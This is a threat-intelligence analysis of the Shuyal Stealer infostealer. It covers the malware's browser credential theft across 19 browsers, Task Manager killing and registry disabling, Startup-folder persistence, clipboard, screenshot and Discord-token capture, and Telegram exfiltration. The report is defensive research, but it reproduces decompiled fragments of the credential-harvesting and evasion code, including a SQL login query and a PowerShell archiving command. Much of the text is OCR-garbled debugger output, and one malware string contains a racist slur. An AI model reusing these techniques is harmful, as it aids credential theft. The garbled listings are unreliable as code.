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Shuyal Stealer: Advanced Infostealer Targeting 19 Browsers

Lat61 Threat Intelligence Team : : 10/7/2025

Shuyal Stealer

Advanced Infostealer Targeting 19 Browsers

Introduction:

* Shuyal Stealer is a recently uncovered Infostealer that pushes the boundaries of traditional browser-targeted
malware. Unlike most variants that zero in on popular platforms like Chrome and Edge, Shuyal dramatically
widens its scope by targeting 19 different browsers, making it far more versatile and dangerous in its data-
harvesting capabilities.

* Beyond the usual theft of browser stored credentials, Shuyal Stealer takes a more invasive approach by
conducting deep system reconnaissance. It collects granular details about disk drives, input peripherals, and
display setups. On top of that, it captures screenshots and clipboard contents, adding layers of context to the
stolen data. All of this, including Discord tokens, is funneled out through a Telegram bot infrastructure, making
Shuyal a highly efficient and stealthy data-exfiltration tool.

« Shuyal Stealer employs PowerShell scripts to streamline its data-theft operation. It first compresses the
harvested information into an archive stored in the directory. This archive is then transmitted through a
Telegram bot infrastructure, ensuring covert exfiltration. To cover its tracks, the malware subsequently erases
both the compressed archive and any residual browser database traces, effectively minimizing forensic
footprints and complicating detection.

* One of the most unsettling features of Shuyal is its ability to clean up after data-exfiltration.

Infection Flowchart:

1/11


https://www.pointwild.com/threat-intelligence/shuyal-stealer-advanced-infostealer-targeting-19-browsers

Fh g mail
.
>
| =

Malicious websites

Sending Stoeln data

Erase footprint
Telegram

Figure 1: Infection chain flow.

Technical Analysis:

MDS5: 9523086ab1c3ab505f3dfd170672af1e

SHA-256: 8bbeafcc91a43936ae8a91de31795842cd93d2d8be3f72ce5c6ed27a08cdc092

Compiler: 64 bit C++ compiler executable file
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Figure 2: File Information.

* The malware known as Shuyal was named after a unique identifier found in its PDB path extracted from the

executable.

Detect It Easy v3.10 [Windows 10 Version 2009] (x86_64) — ] x
File name
I= | [sers\Admin'\Desktop'23350349736\8bbeafccd1ad3936ae8a91de3 1795842 cd93d2dBbe3fT2ce5ched2Tal8ed c092 (=
File type File size Advanced
| PEG4 - 5.91 MiB
Scan Endianness Mode Architecture Type
Automatic - LE B4-bit AMDE4 GUI
* PEG4
Operation system: Windows(Vista)[AMDE4, &4-bit, GUI] S ?
Linker Microsoft Linker(14.36.3480%) 5 ?
Compiler: Microsoft Visual C/C++(19.36.34800)[LTCG/C++] S ?
Language: C++ s 7
Tool: Visual Studio(2022, w17.6) 5 7
= Debug data: Binary[Offset=0x005713c4, Size=0x5¢]
Debug data: PDE file link(7.0) S 7
"B Shortcuts
£} Options
Signatures Flags = | | Database > @ About
Scan
Directory Leg = 1134 misec X Exit

I6,(
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A 000000560041 000000560 CCE
A 000000560071 0000DDSEDCFE
A 00000056DDET 000000560 DEE
A 00000056DE3 000000560DBE
A 00000056DEST 000000560 DDE
A 00000056DESS  000000SEDETE
A 00000056DESF  000000SG6DE1C
A 000000560EAT  00000DSEDEZE

» - ey
Remaove temp filessar [Broadwellllser DatabDefaul3Generic PrP MonB\Mozilla\FirefoR M 360Brawser\Broaving history ta
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whrhu

uhlser DatatDefau

ROMDEUzm-luhuE 2 8581 -2

A 00000056DEBC  000000SGDE49 Al

A 00000056DEC2  OO0000SEDE4F End of Histary: Browser Histary<vivaldi_histor '
A 00000056DEF4  0O0DODOSEDEST JUOUHeHUEY

A 00000056DEFF  000000SEDESC 2% 9=l
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Figure 3: Malware name Identification.
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Shuyal Stealer conducts deep system profiling using Windows Management Instrumentation (WMI) commands,
enabling it to extract granular hardware and configuration data. By executing commands like:

o wmic diskdrive get model, serial number.

o wmic path Win32_Keyboard get Description, DevicelD.

1[rsp+8sl, esi

Ersp+zofl,rsi rsp+20]: "C:\\Windows\\systemsz\\cmd. exe /c wnic path wins2_keyboard get Description,Devicemn"”
<ReadFiles]

ces cGed27anaedc092. 7FF7C1806883

cmp dword ptr ss:fr
ja sbbeafcc
add edi,dword ptr s

Figure 4: System -Informatlon

ces c6ed27anacdc092, 7FF7C1806883

Shuyal Stealer collects system-level data including disk drive specifications, input device identifiers, and display
configurations to construct a detailed fingerprint of the compromised machine. This level of reconnaissance
empowers the malware to customize its attack strategies, bypass conventional security measures, and enable
precise identity theft or exploitation tailored to the victim’s hardware and usage patterns.

898424 88000000
: 8807 r1s:"Hodel SerialNumber \r\mM1crosoft virtual Disk

18:897424 20

FE1s CoD70100

asc0
- 0F83_F400000 je .7FE7C1806883

43 39h421 83000000 cmp_dword prr
- oF&7_Ec000000 ja .7FE7C1806883

038C24 88000000 add edi,dword per

381885424 40 mov rdxjaword ptr

4C:8DID_ 20031600

5: 50.

42:3874F0 38
~ a7 L 7FE7C1806842

508C24_A0000000 02

aciescr movsxd ra,edi

4 25 e .7EE7C1806AED

4C:388C24 AB000000 mov r3,auord per ssiErspras) [rspras] : "Model SerialNumber \r\mMicrosoft virtual Disk

35sacs mov rax,r12

: shr rax;1
mov rax r15:"Hodel Serialnumber \r\mMicrosoft virtual Disk
mov ecxjrizd . d
>

1 1de31 :sas6a72 #assET2

Uoump4  Woumps @ watch:  Iellocals 7 struct s o
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Figure 6: System Information.
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One of Shuyal Stealer’s most striking evasion techniques is its deliberate targeting of Windows Task Manager.
As soon as it executes, the malware scans active processes to identify taskmgr.exe and shut down suspicious
activity. Once located, Shuyal forcefully terminates it using the TerminateProcess method.

45:33C0 xor r8d,r8

48:8D15 DEEC4300 Tea rdx,quord ptr ds:[7FF7C192E880] 00007FF7C152E880: L "Sof twar e} \Mi crosoft\\Windows\\Curr entVersion\\Policies\\Systen"
48:€7C1 01000080 mov_rcx,FFFFEFFF80000601

FF15 F3443300 €all qword ptr ds:[<RegCreatekeyExis]

a5co

75 ac i cesceedz7anscdcosz. TRFTC14E

€78424 00030000 0100/

Craaz4 28 04000000
1808424 00030000

35isosszs 20

41iE9 04000000

S5iEs 1sepez00
48isB8C24 £8020000

00007FF7C192E8F8: L"Di sableTaskmgr™

FF15 OF443
55138824 23020000 ord pt Fa]
£FiS 29443300 EaT Gubra_per ds: [ chegc Iosekeys]
E8 2CESFS call sbbeafcc 1795 842C, cesceed27a08cdc092. 7FF7C14
55 Fererrer mov_ecx,FFFFFFFS
FF1S 89493300 €all qword ptr ds:[<GetStdHandles]
mov x

331 358e24 Fo020000 :u] risd
s abase Y caoac0aa zFofl

E X
Fris 5493300 B avord our ds: [<Getconsolenades]
889424 FDO20000 mov edx dword Dcr :Brsp+zroll
83CA 04

Figure 7: Stoppmg Task Manager.
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strcpyd(&ha' “1&v32, "JTaskmgr.exe™);
lhelp325nag t = CreateToolhelp32Snapshot(2u, 8);

iF ( Toolhelps2snapshot 1=

E)-1LL )
e.dwSize = 568;
if { Process32Firstu( 1p325nz wot, &pe) )
{
do

wcstombs ( t, pe.szExeFile, @x184u);
if { !(unsigned int)sub_148435888(Dest, (char *)&v32 + 1) )

19 = QpenProcess(lu, 8, pe.th32ProcessID);

?)

TerminateProcess
CloseHandle(v2a)
}

else

{
= sub_148117E08(&qword_14685B2E40, "Big back nigga jew");
sub_14@11C808(v21);
}
}

while { Process32Nexth( s &pe} );

(vi9, B);

—

CloseHandle( }s

1
Figure 8: IDA view of Stopping Task Manager.

After forcibly shutting down Task Manager, Shuyal Stealer takes its evasion a step further by altering the

Windows registry. It sets the value Disable TaskMgr to 1. This move effectively cuts off a vital tool for monitoring

and terminating malicious processes, allowing the malware to operate undisturbed and making manual

investigation nearly impossible for the average user.

By terminating Task Manager, the malware conceals its presence from vigilant users who might otherwise
detect or stop it. To ensure this interference remains after reboot, Shuyal modifies the Windows registry to

permanently disable Task Manager.

if { IRegCreateKeyExii(

I L"Software'\\Microsoft) \indows\\CurrentVersion\\Policies\\System", I
2

8,
9,

ngij‘ré 9 'fésk Manager disabled by Registry value.

How Does Shuyal Stealer Stay Persistent?:

e Shuyal Stealer’s persistence mechanism is built around stealthy defense evasion tactics designed to maintain
long-term access to infected systems. To ensure it launches automatically with every reboot, the malware uses
the CopyFileA API to silently replicate itself into the Windows Startup folder. This guarantees execution upon

system restart, allowing Shuyal to remain active without raising alarms, an approach that reinforces its

resilience and makes remediation significantly more challenging.

xor rad,rsd

€3N qword ptr ds:[<CopyFileas]
TEST eax,eax

jne 8bbeafcc9la43936ae8a91de31795842cd93d2dsbe3f72ceSc6ed27a08cdc092. TFF7C14EE31S
lea rdx,gword ptr [7| ]

lea rcx,gword ptr d
jmp 8bbeafcc91a4393
lea rdx,gword ptr ds:[ ]
lea rcx,gword ptr ds:[7FF7C1972E40]

call sbbeafccola43936aes8azlde3lra5842cda3d2dsbe3fr2cesceedzyadscdo09z. 7FFFCLADTEDD
MoV rCX,rax

€all sbbeafcc9la43936ae8a91de31795842cdI3d2d8be3f72cesc6ed27an8cdc092. TFF7C14DCEDO
nop

[7FF7C1372F60]
esa91de31795842cd93d2d8be3f72ces ceed27a08cdc92. 7TFF7C14EE323

Manage Ci\Users\MacLovin\AppData\Roaming'Microsoft\Windows\5Start Menu'\Programs\Startup

Share View Application Tools

<« Users > dabmgimim> AppData + Roaming > Micrasoft » Windows » StartMenu » Programs » Startup

Mame Date modified Type Size
svchost.exe I Application 6,051 KB

2l Send to OneMote Shortcut 2KB

B8 1PISG for Win Shartcut 2KB
desktop.ini Configuration sett... TKB

Figure 10: Startup entry.

~ D

FF7C192D470 rdx:"Executable added to Startup folder!™,

7FFTC192D4A8 rdx:"Executable added to Startup folder!™,

Search Startup
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How Does Shuyal Stealer Steal Data?

¢ Shuyal Stealer aggressively hunts for the “Login Data” file—a critical SQLite database that stores saved
credentials like usernames and URLs across a wide array of browsers. Unlike typical infostealers that focus on
a handful of mainstream platforms, Shuyal targeting the following 19 browsers such as Chrome, Edge, and Tor,
Brave, Opera, Opera GX, Yandex, Vivaldi, Chromium, Waterfox, Epic, Comodo, Slimjet, Coc Coc, Maxthon,
360 Browser and Falkon.

¢ By extracting login credentials from such a diverse set of browsers, Shuyal significantly increases its chances
of compromising user accounts across different platforms and regions making it a formidable threat in the
Infostealer landscape. Stealer employs a refined credential harvesting technique by executing a targeted SQL
query against browser-stored databases. Specifically, it runs:

SELECT origin_url, username_value, password_value FROM logins

e This query extracts login credentials—URLSs, usernames, and encrypted passwords directly from the browser’s
SQLite database. By leveraging this method, Shuyal efficiently retrieves sensitive authentication data from a
wide range of browsers, reinforcing its reputation as a highly capable and invasive Infostealer.

FEESTTT ™ Ca, PEr—==TETSTTCOT
I 30840C C1000000 xor hyte ;'»tr ssillrsp+rox+Cill, al I

48:83F9 3D €mp rcx, 3D
73 ER ik Bhheafrraladzaicasfadidaz17ac 243 cdazdidahezfrrabrfad 3 Tanrdrna® TEETC1AERTON

Sp+FE]=[000000DTECFEBCAE]=0

'C14F67DE Bbbeafcclad43936ae8adlde31795842cd93d2dsbe3f72cesc6ed27a08cdc092: $136708 #135BD8

pump2  @WDump3  @WDump4  @Woumps @ watch1  [relLocals 4 Struct
P D—
73 SELECT origin_ur
791, username_valu
74 e, password_valu
sl e FROM Tlogins..P
ol 6tiu...D=01x. ...

o

20
00

e The procedure retrieves clipboard content using the OpenClipboard and GetClipboardData API functions, then
stores the extracted data in a file named clipboard.txt.

cmova r9E.|qwur\:I ptr

ssilirbp-408
3

mov gqword ptr ss:[frsp+20f, [rsp+30]:RtlUserThreadstart+21
lea rax,qword ptr 7FF72AB5CA7S] ax:EntryPoint, 00007FF72A85CA78:"\\clipboard.txt"
mov qword ptr 28, rax ax:EntryPoint

p
mowv: qword ptr, p::n].rgic

Figure 12: Clipboard.txt for data saving

LABEL 93:
if ( OpenClipboard(e) )

GetClipboardData(lu);

{
24 = (const char *)GlobalLock(ClipboardData);
/25 = byte_14856C6C0;
if ( v24 )
pExceptionObject = @;
vA3 = Buj
do
+Hvl;
while ( w2s[ve] );
sub_14@0FE16@(&pExceptionObject, v25);

Globalunlock( ;-);.
CloseClipboard();

'3

}
else
{
208 CloseClipboard():
201 14 = 8
282 /45 = Bu;
203 sub_14@@FE16@(&v44, byte 14856C6CR);
284 ¥

285 }

Figure 13: Clipboard data extraction.

e The program captures a screenshot by utilizing the GdiplusStartup, BitBlt, and GdipSavelmageToFile APIs, and
stores the image as ‘ss.png’.
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GdiplusStartup(ved, Bvee, @);

SystemMetrics = GetSystemMetrics(0);

cy = GetSystemMetrics(l);

hdeSrc = GetDC(@);

CompatibleDC = CreateCompatibleDC(hdcSrc);

CompatibleBitmap = CreateCompatibleBitmap(hdcSrc, SystemMetrics, cy);
SelectObject (CompatibleDC, CompatibleBitmap);

BitBlt(CompatibleDC, @, @, SystemMetrics, cy, hdcSrc, @, 8, @xCC@820u);

vBS = @3

vE3 = &Gdiplus::Bitmap:: vftable';

si128.m128i_i64[@] = @;

LODWORD(vES) = GdipCreateBitmapFromHBITMAP(CompatibleBitmap, @, &si128);
w5 = sil128.m128i i64[@];

vE4 = 5i128.m128i_i64[@];

if ( SHGetFolderPathA(@, 28, @, @, pszPath) < @ )

goto LABEL 94;

xmmword_14856EFER) ;

>

a;
7 = 8
_l.
-1

»

»

Figure 14: Screenshot captured API.

« v » ThisPC » LocalDisk (C:) » Users » |sshsmmime: AppData > Local » Temp * runtime » pic

~
Mame Date modified Type Size
7 Quick access

I Desktop
; Downloads
Documents
[&] Pictures
FlareVM

=] ss.png 09-09-2025 01:07 PM PMG File 214 KB

% % % %

FlareVM
ﬁ Music
PE

@ OneDlrive - Personal
3 This PC
|_j Metwork

Figure 15: Screenshot captured by ss.png.

« |t also retrieves authentication tokens from Discord, Discord Canary, and Discord PTB installations.
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Debug Tradng Plugine Favourites Options Help  Apr 11 2024 (TitanEngine)
AR IR Y AT S:E 2y N

| Flog Motes ® Breakpoints B8 Memory Map [} call Stack. &7 SEH le3| Seript ﬁ Symbals <2 Source ' References 'S Threads ﬁ Handles

'C14DDSE2 3050 02 xor byte ptr ds:[rax+2],dl
3050 03 xor byte ptr ds:
3050 04 xor byte ptr d
3050 05 xor byte ptr d
3050 06 xor byte ptr d
3050 07 xor byte ptr d
3050 08 xor byte ptr d
3050 09 xor byte ptr d
3050 0A xor byte ptr d
41:3050 0A xor byte ptr d
45:8870 0B mov byte ptr d
4C:894424 40 mov gqword ptr ss o, rs
48: 809424 88000000 lea rdx,qword pti sp+D8sj)
E8 D32F0000 €all sbbeafcc9lad3 a91de31795842cd93d2d8be3f72ces c6ed27a08cdc092. FFF7C14E05CO
4C:8040 01 lea rs,qword ptr
OFB610 movzx edx,byte ptr ds:[rax]
41:3010 xor byte ptr ds:[rs]
3050 02 xor byte ptr ds:
3050 03 xor byte ptr d
3050 04 xor byte ptr d
3050 05 xor byte ptr ds:
3050 06 xor byte ptr ds:
3050 07 xor byte ptr d
3050 08 xor byte ptr d
3050 09 xor byte ptr d
3050 0A xor byte ptr d
41:3050 0A xor byte ptr ds:
45:8870 0B mov byte ptr ds:[r8+B],ril4b

3 43:8D9424 FOOCO0O0DO lea rdx,gword ptr +CFOf
C14DD61C 48:808C24 100A0000 lea rcx,qword ptr sp+A10]

ds: [rax+1C]=[000000D7ECF5F264 "afrks"]=61 'a‘

O7FF7C14DDGEA 8bbeafcc91a43936ae8a91de31795842cd93d2dsbe3fr2cesceed27a08cdc092: $11D6EA #11CAEA

Poump2  @oump3 @poumps @M Dumps @ watch 1 Ix=lLocals 3 struct
Hex TaccTy

CFSEA3A| 44 63 73 63|6F 72 64 00|00 00 OB 00|00 00 39 OSfDiscord.
CFSEA4A|00 00 0B 00|00 00 39 06|00 00 0B 00|00 [BGI 39 o7 . 9
CF5EASA| 00 00 OB 00|00 00 B9 00|00 00 OB 00|00 00 58
CFS5EAGA| 69 73 63 6F|72 64 20 50|54 42 00 00|00 0D B9

CF5EA7A(D0 DD DB DO(0D 00 434 63|73 63 6F 72|64 D0 DO
CF5EASA| 00 00 00 00|00 00 07 00|00 00 00 00|00 0D OF
CF5EA9A (00 D0 DO DO(0D 0O 60 27 |6F 6A 55 02|00 DO DO
CFS5EAAA | 00 00 00 00|00 00 292 00|00 00 00 00|00 00 2F
CFS5EABA| 00 00 00 00|00 00 44 69|73 63 6F 72|64 20 43
CF5EACA(6E 61 72 79|00 00 DE 00|00 00O 00 00|00 DO OF
CFS5EADA| 00 00 00 00|00 00 &0 2F|6F 6A 55 02|00 00 00
CF5EAEA (00 DD DD DO(0D 0O 2F 00|00 DO 00 00|00 DO 2F
CFS5EAFA| 00 00 00 00|00 00 44 69(73 63 6F 72(64 20 50 54|.
CF5EBDA| 42 00 00 00|00 0O OB 00|00 00 0O 00(00 OO0 OF 0O
CF5EB1A| 00 00 00 00|00 00 ADQ 24(6F 6A 55 02(00 00 00 0O
CF5EB2A| 00 00 00 00|00 00 2C 00(00 00 0O 0O[00 OO 2F 0O

Figure 16: Steal token from Discord application.

[=R=R-F Y--F-F-F-TY

How Does Shuyal Stealer Smuggle Information?:

¢ The malicious executable creates a ‘runtime’ directory that contains all the files shown in the screenshot below,
which are intended for exfiltration browser related information.

& = | runtime

Home Share View

« A » ThisPC » Local Disk (C) » Users » Admin » AppData » Local » Temp » runtime »
Mame Date modified Type Size
3 Quick access
browser G/8/2025 3:06 AM File folder
[ Desktop b . .
clipboard File folder
4 Downloads b history File folder
Documents bl passwords File folder
&= | Pictures b4 pic File folder
J‘) Music
Regshot
Tools
B videos
@ OneDrive
& This PC

Figure 17: Created folder and files for Stealing data.

* The “history.txt” file created by the Shuyal stealer serves as a local log that documents its malicious activity.
Here’s a breakdown of what it usually includes:
o Lists of browsers scanned for credentials, cookies, autofill data, and saved passwords.
o Examples include Chrome, Edge, Brave, Opera, and Tor.
¢ Information about messaging apps (e.g., Discord, Telegram) and whether tokens or session data were
extracted.
o Logs of successful or failed data extraction attempts. Notes on whether clipboard or screenshot capture
was performed.
* Persistence & Evasion Actions:
o Confirmation of registry edits (e.g., disabling Task Manager).
o Self-deletion script execution status.
« Tokens.txt is commonly used to store stolen authentication tokens, especially from platforms like Discord.
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to:

\\Users\\MacLovin\\AppData\\Local\\Temp\\runtime\\browser\\tokens. txt"

\\Users\\MacLovin\\AppData\\Local\\Temp\\runtime\\bronser\tokens. txt"

Tea rdx,quord prr ds: [7FF7C1920238] 00007FF7C1920238: "Writing tokens
ptr_ss:lirsp+DAol
17958426, cesc dc092. 7FF7C14D7E00
ss:firsp+Dof, ra
prr st Irspibio] [rsp+D10]:L"
ss:[rsu—ozsl,*
cmova riz,qword ptr ss:[rsp+D10J [rsp+D10]
mov st quara prr ssifrspiozol
2s842c cesc dc FF7C17E3550

Flgure 18: Tokens.txt Formation.

7 *history.txt - Notepad

File Edit Format View Help

Browser History Extracted

Brave History:

History:

Edge History:

&hsh=48fclid=01
8hsh=4&Fc1id=01

8hsh=4&Fc1id=01

3179.98&cs=3067342595 - What's new in Microsoft Edge

Edge - 2025- - @ - https://mh-nexus.de/enfhxd/ - HxD - Freeware Hex Editor and Disk Editor | mh-nexus

Edge - 2025- [} - https://uwi.bing. com/search?qs=SC&pq-hexedask=CSYN1&sc=16-58pg]t-2083aq-hex+editor&cvid-91688132abF24a539c1cb2294beB98bags_lerp=EgR1ZGA1KEYIARS
Edge - 2025 ] - https://uw.bing. con/ck/a? 18&p=e2aldeblec5b2273a17854ac6b1420 febbBabIble oI 29997 F7818F1 facbec InltdHMIMT CONTgaNDgwMARp tn=38:

Edge - 2025- o - https://uw.bing. com/ck/a? 1&&p=ddd21248bccb74a71cBa3281ae4869cdB55FFa9Bd51319ea29F6e74e0d22d3e Inl tdHMIMT CONTEANDgMARDL

Edge - 2025- 07:48:16 - https://w.bing. com/ck/a?188p=1d201a83b548bF37964a19aa975a7a4ed1880dc2-Fd4 7207505 c9ae01ch3495d InltaHMOMT cONTg4NDgWMARDtn=38&ver=28hsh=4&Fc1id-0f
Edge - 2025- ] - https://uw.bing. con/ck/a? 18&p=965dcaf3aab78aac62c6dbba3428db721c8606c8B815F7d9bBad53FI74Fde69 InltdHMIMT CONTgANDgwMARD

Edge - 2025- 87:48:01 - https://wa.bing. com/ck/a?18&p=2b897c561935853F FaBcd34e902F768db211d2ccaSbBad3edd802d67e2cadBbe Inl taHMIMT cONT gANDgWMARDT

Edge - 2025 [} - https://uwi.bing. com/ck/a? 18&p=695ea7373FFCB5d89Fd775c2ch112a04188201C5762c2ef4941e732082277a0d Inl tdHMOMT cCONTgANDZwMARDtn=3&ve r=28hsh-48Fclid-01
Edge - 2025 ] - https://go.microsoft.com/fulink/?1inkid=21406228channel=stablefversion=135.8.3179.98 - What's new in Microsoft Edge

Edge - 2025- o - https://uws.microsoft. com/edge/update?channel=stable&version=135.8.3179.98 - What's new in Microsoft Edge

Edge - 2025- [} - https://wwi.microsoft. com/en-us/edge /update,/1352forn-MTeOYD&channel-stabledversion=135.8.

Edge - 2025- 86:53:10 - https://wwu.bing. com/search?qs=RI&pg=sundar+pichai+neus+&sk=CSYN1&sc=9-19&pglt=5478q=sundar+pichai+latest+newsdcvid=F58221063172429791786ecab12¢
Edge - 2025- © @ - https://uws.msn.com/en-in/sports/cricket/special-vaibhav-can-have-a-long-successful-career-for-india-rr-batting-coach/vi-AALDOSbS?oc id=nsedgdhpé
Edge - 2025 . 86: - https://wwi.msn.com/en-in/sports/cricket/sir-aaj-maarunga-vaibhav-suryavanshi-s-prophetic-uords-lead-to-record-shattering-ipl-century-exclusive;

i History:

End of History Data
<

Figure 19: Log file contains browsers data.

The malicious executable uses PowerShell to compress the ‘runtime’ directory containing files marked for
exfiltration into an archive named ‘runtime.zip’, as illustrated in the figure below.

mov_rsu,
Tea rix)quard per d: [7eFrcagzcaro] 007FF7C192CAFO: "
lea rcx,qword per ss:[frbp+1o)

call sbbeafcc 1795 842C 72cesc dc092. 7FF7C14BE160

mov rax,7FFFFFFFFFFFFEFF

mov rcx,qword ptr ss:[frbpll

sub rax,rcx

cmp rax,16

b sbbeafcc 1795842¢ 72cesceed27a08cdc092. 7FF7C14DCGSE

Tea ro,quord ptr <s:lirbp-10]

emp quord ptr ss:[rbp

cmova ro,gword ptr ss [rbu 10

mov gqword ptr ss:frsp 5

lea rax,qword ptr [7;;7:1920\1}3]

mov gword ptr ss:[Jrsp+2s],r

powershell ~command \"Compress-Archive -Path '*

\\Users\\MacLovin\\AppData\\Local\\Temp\\runtime"

SUSEESY Ar\acLonn.AuuDacaA \Local\\Temp\\runtime
\SYSTEME2
estinationPath '

Figure 20: PowerShell command.

Figure 21: Po;NerS.heII archive folder.

18015 DADS4500 Tea rdx,qword ptr ds: [7FF66B02CC50] 00007 FFG6B02CC50: "Failed to create ZIP File: ~
18D0D_136B4900 lea rcx,quord ptr ds: [7FFGGB072F60] L
AEB9FFFF call 810d4850ee216dF639648a37004a004d1275a194924F a5 3312d3403bes7 edfEc. TFFEEABDTEDD
18D5E A8 Tea rdx,qword ptr _z=:[rbp-zsj [rbp-58]: "c:\\Users\\admin\\apppata\\Local\\Tem; |
837D _CO OF wnp gword ptr ss:Erbp-4oll,F ‘
OF4755 Ag cmova rdx,qword ptr ss:[frbp-5a] [rbp-58] : "C:\\Users\\Admin\\AppData\\Local\\Tem | F
8B45 B3 mov rs,qwnr-d ptr ss:[Qrbp-43] 1
s mov_rcx, P
E4DOFFFF CaT1 6160485 0ee21607639645237004200401275 21949247 a5 33123 403be97 eCf 5 C. 7FFGGABDISED i
3 mov_rcx,rax P
5C040000 call 810d4850ee216d7639648a37004200401275a194324F a5 2212d2403be97 edfic. TFFEEABDCED0 f
jmp_810d4850ee216dT639648a37004a0d4d1275a194924F a5 3312d3403be97 edf5c. 7TFFE6ABDCACE
8D15 F3074500 e ds: [7FF66B02CC70] DDDD7FFE6B02CCT0: "ZIP File created: ™ ]
SDOD BCE34300 lea_rcx,qword ptr ds: [7FFG6B072E40] 1
77BIFFFF call SlDd485Deez15dF639648a37004a0d4d12?§a194924’Fa§3312d3403b2972df5c TFFEEABDTECD i
55 AS Tea rdx,qwor D(r" sSt [r s&ll [rbp-58 S\hUsers\\admini\apppataiLocal\\Tem
837D €O OF cmp gword ptr ss:[rbp F
OF4755 A8 cmova r’ﬂx,qwm’d pn- ”.[l’hp ssfl [rbp-58]: "C:\\Users\\Admin\\AppData\\Local\\Temj F
8B45 BS mov rs,qwur-d ptr ss:[rbp-43l ¥
3 mov_rex, P
ADDOFFFF Call 5100455 0ee216dr635645a37004a00401275 219492 4725 331243403 be57 ed 5 . 7EEEEABD 3550 '
) mov_rcx,rax
25040000 €al1 810d4850ee21607 639640227004a0040127521949247 25 33123403be97 ecf SC. 7FFEEABDC 00 f
40 Tea rex,qword ptr ss:[frbp-53| \\Users\\Admin\\AppData\\Local\\Tem
1CFIFFFE call BlDd-tBSDeeledFS]9648637004601141:1127531949241‘353312d34n3b2972df5(.TFFBBABDBTBD ]
:8D4D A8 Tea rcx,qword ptr ss [r 53] s\\users\\admin\\AppData\\Local\\Tem |
1837D CO OF cmp gword ptr ss:Brop- ] F f
8:0F474D emova rex,qword ptr ss:[frbp-53] :\\Users\\Admin\\AppData\\Local\\Tem
91103100 GATY 810048508221 60r63964343700400401275 219492 5725 3312034030297 €05 €. 7EEGEAEEE2S g
0 op
:8B55 28 oy rili,quord ptr ss:Hrbpt 1
oF cmp rdx, 1
jhe aéomssDeez15dF539s4sa37004aod4d1275a194924fas331zd34uzbe97edfsc. TFFEEABDCE 02
inc rdx :
10 mov rcx,qword ptr ss:[rbp+1of] [rbp+10] : "powershell -Command \"Compress-Archive | <
1 mov rax,rcx
00100000 €mp rdx, 1000 D
J 820048502e216076396482370042004d127521949247 a5 3312d3403be97 edf S C. TFFGEARDC4FE M k]
27 add rl
& = Extract Temp
ed: "]=656C63662050435A Home  Share  View  Compressed FolderTools
7004a0d4d1275a194924Fa53312d3403bed7edf5c: $11C476 #111 -
v 4 ||« Users » Admin » AppData » Local > Temp v & £ Search Temp
Wooumps @ wath1  bellols  ° struct
ASCIT | A Name Date modified Type Size
€C CC[CC CC CC CC|EITTITIITIITIIIT A Quick access
57 41|56 41 57 48| H,\$.H. TS, WAVAWH [ Respensibilities.dif 22 AM DIF File 172 KB
14 18|00 48 33 c4. HIA B Desic - .
8 H.DSpl. UA. 0H. A.O esktop [ Ropexiam XLAM File 281 KB
85 ..ab, b..E
48 & Downloads  # R File 103 KB
62
.42 = Documents mruntlmez\p WinRAR ZIP archive 250 KB
&1 [ - - - .
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Image File

E Windows PowerShel

Version: 10.0.15041.546
Build Time: Wed Jun 10 00:45:25 2037
Path:

S\Windows\System32\WindowsPowerShell\ 1.0'powershell. exe

™
| C:WUsers\Admin\Desktopl,

Autostart Location:

| nfa

Parent: cmd. exe(4256)
User: DESKTOP-V1DB208 Admin
Started:  5:02:46 AM 5/18/2025 Image: 54-bit

Comment: | |

Data Execution Prevention (DEF) Status:  Enabled (permanent)

Address Space Load Randomization: Enabled
Control Flow Guard: Enabled
Enterprise Context: MfA
Stack Protection: nfa

Figure 22: PowerShell archive command.

Shuyal Stealer targets 19 different browsers, including options such as Tor, Brave, Vivaldi, Chrome, Edge, 360
browsers and Waterfox as illustrated in the figure below.

mov rax,rsi rax Browser~, rs1: seU Browser

mov_rex,rbx rex Erowser", rbx:"360 Browser"

€all sbbeafccs1a43936ae8a91de31795842C093d208bE3I72Ca5C6Ld27A08CACO92. TFFFCI4C1250

nop

lea rcx,gword ptr ds:[rbx+20] rex:"360 Browser”, rbx+20: - MinGW - Google Search”
lea rdx,qword ptr ds:[rsi+20] rdx:"360 Browser”, [rsi+2i \\Users\\MacLovin\\AppData'\,

cn] 1 sbbeafcc9lad3936ae8a91de3l795842cdo3d2dBhe3T72ces cbed27anscdc092. 7TFF7C14C1250

add rbx, 40 rbx: 360 Browser™”
mov qwurd ptr ss:firsprcaofl,rox [rsp+C30]: "360 Browser”
add rsi, rsi:"360 Browser”

) cal e 1¢3] Scripd ymbols ource 2~ References W Threads iandles £7 Trace
[V callstack =7t SEH Script %] Symbol 42 5 Refer W Thread: 5 Handl L

mov_rax,qword ptr ss:frspra7 40] &
cmp byte ptr ds:[rax+19],0

jne shbeafcc 1795 842C ceSc6ed27a08cdc092. 7FF7C14FDDED

lea rbx,qword ptr_ds:[rax+20] rbx:"coccoc”, rax+20:"coccoc”

mov_qword ptr ss:[frsp-spof,rbx [rsp+5D0] : "coecoc”

lea rcx,qword prr_ds:[rbx:20] trbx+20] \\Users\\MacLovin\\AppData\\Local\\coccoc \Broy
call sbbeafcc 1795842¢C ceSc6éed27a08cdc092. 7FFTC14C51CO

test al,al

je sbbearccol 1795842¢ cesc dc092. 7FF7C14FDDS 7

XOrps Xmmo, xmmo
xor eax,eax

movups xmmword ptr ss: 2, xmmo
mov gword ptr ss:lrsp+37580,rax

v rdx, Fox rbx:"coccoc”
lea rcx,qword ptr ss:[rsp+37+s]
gall sbbeafcc 1795842c cesc dc092., 7FF7CI4FIAFD v

movsxd rdx,ebx

] lea rcx,qword ptr ss:f[rsp+sol [rsp+80]:L"edge_Data.db™
call SbbeaftEBiad}S}EaeBaBlde}l?SSS42Ed93d2d8be3f72testEEdZ?aDSEdED92 7FF7C14D7 000

' lea r9,qword ptr ss: [r ] [rsp+80]:L"edge_Data.db"

1 0] cmp gword ptr ss:[irsp ]

00| cmova r2,gword ptr ss:[rrp s0f [rsp+80]:L"edge_Data.db™

mov dword ptr ss:[rsp+20,ebx

mov r&d,risd

mowv rdx, r12

mov_ecx,r13

call abbeafcc91a43936ae3a91de31795aucd93d2d8be3f?2cescsedzraoacdcosz 7FF7CLFE3578
shr rax,20

test eax,eax

jne abbeafcc91a43935ae8391de31795842cd93d2d8be3f72cesc5ed27a08cdc092 7FF7C14F7026

+ 1laa rdv awnrd nte cc-Breneon Frenegnd i "adne nata dh*

-ocali\\Microsoft)\Edge\\User Data\\default\\Login Data" I

mov_rox,rbx :slimjer”, rox: frimjet”
mm sbbeafee 1795842¢ cesc dco9z. 7FF7C14C1250

